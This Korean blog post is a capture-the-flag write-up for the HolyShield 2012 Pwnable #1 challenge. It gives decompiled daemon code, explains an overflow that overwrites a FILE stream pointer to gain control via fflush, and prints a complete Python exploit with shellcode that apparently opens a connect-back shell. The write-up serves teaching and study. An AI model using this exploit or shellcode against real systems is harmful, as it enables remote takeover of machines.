Pwnable #1 - FSB 문제 FSB 이용안하고 까기(?)
지난 주말 Cat-Security가 운영하는 HolySheild 2012가 있었습니다.
대회수준이 많이 좋아져서 살짝 놀랐는데요. 재밌는 Pwnable 문제들이 있어서 잠시 포스팅해봅니다.
저희 Individual-3팀은 이번에 MachoMan 팀과 연합해서 BananaMan으로 출전했는데요
중간에 제가 이 문제에 잠시 이상한(?) 길로 빠지면서 잉여력만 폭발했던 문제였습니다.
결국에는 exso가 정상적으로 풀었죠 ㅋ
전 exso가 문제를 정상적으로 풀고 나서도 한참을 해매고 있었습니다. ㅋㅋ
아래는 결과적으로 취약점이 있는 데몬의 함수부분을 디컴파일한 부분입니다. ㅋ
void __cdecl sub_8048CD6(int fd)
{
unsigned int v1; // eax@1
int v2; // eax@1
int v3; // eax@4
int *v4; // [sp+10h] [bp-3A0h]@1
int v5; // [sp+14h] [bp-39Ch]@1
char buf; // [sp+114h] [bp-29Ch]@4
_BYTE v7[256]; // [sp+178h] [bp-238h]@1
int v8; // [sp+278h] [bp-138h]@1
unsigned int v9; // [sp+37Ch] [bp-34h]@1
char v10; // [sp+383h] [bp-2Dh]@1
int v11; // [sp+384h] [bp-2Ch]@1
int v12; // [sp+388h] [bp-28h]@4
FILE *stream; // [sp+38Ch] [bp-24h]@1
void *v14; // [sp+390h] [bp-20h]@1
int v15; // [sp+394h] [bp-1Ch]@1
int v16; // [sp+398h] [bp-18h]@1
int v17; // [sp+39Ch] [bp-14h]@1
int v18; // [sp+3A0h] [bp-10h]@1
int v19; // [sp+3A4h] [bp-Ch]@1
int v20; // [sp+3B0h] [bp+0h]@1
int v21; // [sp+3B4h] [bp+4h]@1
memset(&v8, 0, 256u);
memset(v7, 0, sizeof(v7));
v15 = (int)&unk_804A734;
v16 = 0;
v17 = 0;
memset(&v5, 0, 0x100u);
v1 = time(0);
srand(v1);
v19 = v20;
v18 = v21;
v4 = (int *)&v4;
v14 = malloc(0x5F5E100u);
v2 = rand();
v9 = (unsigned __int8)(((unsigned int)(v2 >> 31) >> 24) + (_BYTE)v2) - ((unsigned int)(v2 >> 31) >> 24);
stream = fdopen(fd, "w");
sub_8049115(fd, "ID : ", 5);
sub_8049178(fd, (int)v7, 256, 10);
v10 = v7[v9] >> 4;
sub_8049115(fd, "Key : ", 6);
v11 = sub_8049178(fd, (int)&v5, 256, 10);
if ( v10 - 14 <= 0 )
{
sub_8049115(fd, "YAWA OG\n", 8);
close(fd);
exit(0);
}
sprintf(&buf, "Password (Rest chance : %d) : ", v10 - 14);
v3 = strlen(&buf);
sub_8049115(fd, &buf, v3);
v12 = sub_8049178(fd, (int)&v8, 20 * v10, 10);
sub_8048B39(&v5, v11, &v8, v12);
sub_8049115(fd, "This password is correct?\n", 26);
fprintf(stream, &byte_804A8BC);
fflush(stream);
v17 = v20;
v16 = v21;
if ( v20 != v19 || v16 != v18 || *(_DWORD *)v15 )
{
*(_DWORD *)v15 = 0;
exit(0);
}
exit(0);
}
대부분의 팀에서 표시한 부분의 FSB를 이용해서 문제를 해결했을텐데요
저같은 경우에는 단지 포맷스트링 식상하다는 이유만으로
파랗게 표시된 부분의 overflow를 이용해서 문제를 해결했습니다.
overflow의 문제는 eip나 ebp를 덮을 수 있을정도로 충분히 overflow되지 않는다는 점이 문제인데요
우리는 이 overflow 취약점을 이용해서 stream 변수를 덮을 수 있습니다.
이를 이용하면 eip를 획득하는 것이 가능합니다.
자세한 내용은 FILE *fp 형태로 사용하시는 FILE Stream 구조와
fflush 함수의 내용을 분석해보시면 간단하게 파악하실 수 있습니다.
아래는 사용한 익스플로잇입니다. 건방진 멘티 권혁군을 겨냥해서 권혁군 스타일대로 짜봤습니다.
from socket import *
import struct
pack = lambda x : struct.pack( "<L", x )
unpack = lambda x : struct.unpack( "<L", x)[0]
shellcode = "\x31\xdb\x31\xc0\x53\x43\x53\x43\x53\xb0\x66\x4b\x89\xe1\xcd\x80\x31\xc9\x51\x51\x68\x79\xb7\x81\xec\x66\x68\x1f\x90\x66\x6a\x02\x89\xe2\x6a\x10\x52\x50\xb0\x66\xb3\x03\x89\xe1\xcd\x80\x5b\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x90\x90\x90\x90"
#stack_base = 0xbf8a6d4c
stack_base = 0xbffff450
fake_stream = stack_base + 0x1cc
fake_ptr = stack_base + 0x29c
print len( shellcode )
s = socket( AF_INET, SOCK_STREAM )
s.connect( ( '121.183.129.236', 1202 ) )
stack_base = stack_base + 0x40
print s.recv( 1024 )
s.send( "\xff" * 256 )
print s.recv( 1024 )
s.send( "\xff" * 256 )
print s.recv( 1024 )
s.send( "\x90" * (200-len(shellcode)) + shellcode + "A" + pack(fake_ptr) * 13 + "AAA" + "\x42\x42\x42\x42" * 5 + pack(fake_stream) + "\x0a" )
print s.recv( 1024 )
s.close( )
문제 서버의 상태는 exec-sheild가 없고 ASLR이 적용되지 않은 상황이라
스택안의 쉘코드로도 충분히 동작시킬수 있습니다.
문제는 스택의 시작주소를 모른다는 것인데
stack_base 변수를 간단히 브포하면 쉽게 얻을수가 있죠 ㅋ
그런데, 문제는 이 문제 코딩하신분이 누구신지
공격에 한번 실패하면 좀비 프로세스가 남아 대회서버의 데몬이 죽어버린다는..... 문제였습니다 ㅋㅋ
(그래서 대회때 1번 문제 서버가 자꾸 죽어서 나중에는 서버를 증설하졌죠 ㅋㅋ
죄송합니다 제가 원인이었어요 ㅠㅠ)
마지막으로 제 서버에서 공격했을때 상황입니다. ㅋ
root@taechoe-warehouse:~/lab# gdb ./att
GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /home/passket/lab/att...(no debugging symbols found)...done.
(gdb) r
Starting program: /home/passket/lab/att
Daemon started..(port is 1202)